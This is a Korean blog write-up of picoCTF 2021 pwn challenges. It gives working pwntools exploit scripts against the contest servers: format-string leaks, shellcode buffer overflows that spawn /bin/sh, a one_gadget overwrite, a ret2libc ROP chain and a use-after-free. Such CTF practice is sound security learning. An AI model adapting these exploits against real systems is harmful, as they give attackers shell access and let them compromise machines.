CTF/Write UPs

[picoCTF 2021 : pwn] 내가 푼 문제들 풀이

jir4vvit 2021. 3. 31. 20:56

21-03-30 PM10:07 기준

 

picoCTF의 pwn 중에서 푼 문제들만 간단하게 롸업 적어보려고 한다. 위의 문제 정도를 풀었는데 16문제 중 8문제.. 딱 절반만 풀었다. ㅎ

 

 


Binary Gauntlet 0

fsb 트리거

사실 이렇게하다가 그냥 플래그 땄었다.

풀고나서 아이다로 코드 살펴보니, 세폴 뜨면 flag 던져주는 함수가 있었다.

Stonks

솔브 수는 굉장히 많았는데 그 많은 솔브 수에 비해 푸는데 정말 오래 걸렸다;;;;

주어진 vuln.c 중 일부

fsb 트리거 가능  

배열 api_buf에 들어가 있는 것은 문자 하나하나가 들어가 있는 것 주소가 아님, flag 하나하나의 값

10진수나 16진수로 printable한 숫자 범위 정도는 딱 봤을 때 눈치를 까야함

너무 작은 수나 너무 큰 수가 포함 안된 경우라고 이해해도 됨

32~126

0x20~0x7e

flag 범위

여기서 저 빨간 네모 부분을 가져와서 변환을 해야한다. <- 여기서 삽질 지리게 했음

ABCDEFGH를 입력하면 DCBAHGFE 이렇게 출력이 된다.

출력을 4글자씩 리틀엔디안으로 햇으니 복구도 4글자씩 거꾸로 해야한다.

a = "6f6369700x7b4654430x306c5f490x345f74350x6d5f6c6c0x306d5f790x5f79336e0x346364620x616535320x7d".split('0x')

flag = ''

for i in range(0, len(a)):
    flag += a[i].decode('hex')[::-1]

print(flag)

나는 코딩 바보

Binary Gauntlet 1

건틀렛 0에서 조금 더 발전한 느낌

fsb 트리거 가능, 하지만 'AAAA' 이렇게 그냥 써버렸다.

buf 주소 출력해주니 쉘코드를 이용 (NX도 안걸려있었다.)

from pwn import *

#p = process('./gauntlet')
p = remote('mercury.picoctf.net', 19968)
e = ELF('./gauntlet')

buf = int(p.recv(14),16)
print(hex(buf))

shellcode = '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
#shellcode = "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

payload = ''
payload += shellcode
payload += 'A' * (0x70 - len(shellcode))
payload += 'BBBBBBBB'
payload += p64(buf)

#pause()
p.sendline('AAAA')
p.sendline(payload)
p.interactive()

What's your input?

input을 받아 res에 저장하고 res 값과 city(랜덤) 값이 동일하면 플래그를 던져준다.

python2 input 버그

저기에 city 입력하면 "city"가 아니라 city가 들어간다. random.choice(cities).rstrip() 

아무튼 City?에 city 적으면 플래그 준다.

이 문제 처음에 실행시켜보다가 아무생각없이 city 적었는데 플래그값 줘서 놀램

Binary Gauntlet 2

fsb 트리거 가능 (fsb는 스택상황을 다ㅏㅏ볼 수 있다.)

offset = leak한 스택주소 - dest주소 

dest 주소는 어캐 찾냐? strcpy에서 힙 데이터를 dest 주소에 복사한다. strcpy에 브포 걸면 dest 주소 보임

from pwn import *

#p = process('./gauntlet')
p = remote('mercury.picoctf.net', 49704)
e = ELF('./gauntlet')

#buf = int(p.recv(14),16)
#print(hex(buf))

payload = ''
payload += '%6$p'
p.sendline(payload)

leak = int(p.recv(14), 16)
print(hex(leak))

dest_addr = leak - 0x158


#shellcode = '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
shellcode = "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

payload = ''
payload += shellcode
payload += '\x90' * (0x70 - len(shellcode))
payload += 'BBBBBBBB'
payload += p64(dest_addr)

#pause()
p.sendline(payload)

p.interactive()

 

Binary Gauntlet 3

우분투 18에서 진행해야 한다.

fsb 트리거 스택 주소 구하기, NX bit 안되어서 쉘코드 못씀, onegadget

(16에서 로되리안 걸려서 혹시 몰라 18에서 진행하니 libc_start_main 이거 231칸 떨어져있는것만 고치니 바로 리못 성공했다.)

from pwn import *

#p = process('./gauntlet')
p = remote('mercury.picoctf.net', 22595)
e = ELF('./gauntlet')
libc = ELF('./libc6_2.27.so')

libc_start_main_offset = libc.symbols['__libc_start_main']

oneshot = 0x10a41c

# leak 
payload = ''
payload += '%23$p'
p.sendline(payload)

main_ret = int(p.recv(14), 16)  # leak

log.info('main_ret = '+hex(main_ret))

libc_base = main_ret - libc_start_main_offset - 231
oneshot_addr = libc_base + oneshot

log.info('libc_base = '+ hex(libc_base))
log.info('oneshot_addr = '+hex(oneshot_addr))

# exploit
# strcpy null x
# ret => oneshot
payload = ''
payload += 'A' * 0x70
payload += 'b' * 0x8        # SFP
payload += p64(oneshot_addr) # RET

#pause()
p.sendline(payload)

p.interactive()

원가젯 쓸 생각 바로바로 하기 ;;;

Here's a LIBC

우분투 18 진행

그냥 평범한 문제. (return to main, libc base 구해서 system('/bin/sh'))

from pwn import *

#p = process('./vuln')
p = remote('mercury.picoctf.net', 49464)
e = ELF('./vuln')
libc = ELF('./libc.so.6')

pop_rdi = 0x400913
ret = 0x40052e
oneshot = 0x4f365

puts_plt = e.symbols['puts']
puts_got = e.got['puts']
puts_offset = libc.symbols['puts']
main = 0x400771

# leak
payload = ''
payload += 'A'*(99+37) # dummy
payload += p64(pop_rdi) 
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)    # return to main

p.sendline(payload)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = puts_addr - puts_offset
print('[+] puts addr = ' + hex(puts_addr))
print('[+] libc base = ' + hex(libc_base))

oneshot_addr = libc_base + oneshot
print('[+] oneshot addr = ' + hex(oneshot_addr))

system_offset = libc.symbols['system']
binsh_offset = libc.search('/bin/sh').next()

system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

# exploit
payload = ''
payload += 'B'*(99+37) #dummy
#payload += p64(oneshot_addr)
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)

#pause()
p.sendline(payload)

p.interactive()

조건이 까다로워서 그런가 원가젯이 안박혀서 그냥 system('/bin/sh') 이용했다.

더보기
더보기

원가젯 안됨 ㅠ 종료코드 0x7f(128)이라서 검색해보니 아래와 같다고 함

ret 넣어준 이유는 없으니까 안되가지고 넣어줬다...

Unsubscriptions Are Free

uaf

from pwn import *

#p = process('./vuln')
p = remote('mercury.picoctf.net', 48259)
e = ELF('./vuln')

p.sendlineafter('\n', 'M')
p.sendlineafter('\n', 'AAAA')

p.sendlineafter('\n', 'S')
p.recvuntil('OOP! Memory leak...')

leak = int(p.recv(10),16)
print('[+] leak = '+ hex(leak))

p.sendlineafter('\n', 'I')
p.sendlineafter('\n', 'Y')

p.sendlineafter('\n', 'L')
pause()
p.sendlineafter('\n', p32(leak))

p.interactive()

내가 아는 상식상으로 무조건 되어야하는데 안되어가지고 디버깅 해보려고했는데

디버깅할 때 실수로 원격으로 p를 설정해놓고 디버깅했더니...

아래처럼 플래그를 뱉어주었다..ㅇㅅㅇ;;

다시 해보니까 leak 주소를 주기 전에 pause()를 주는 것이 무조건 필요한 것 같았다. (이거 안주면 플래그 안줌)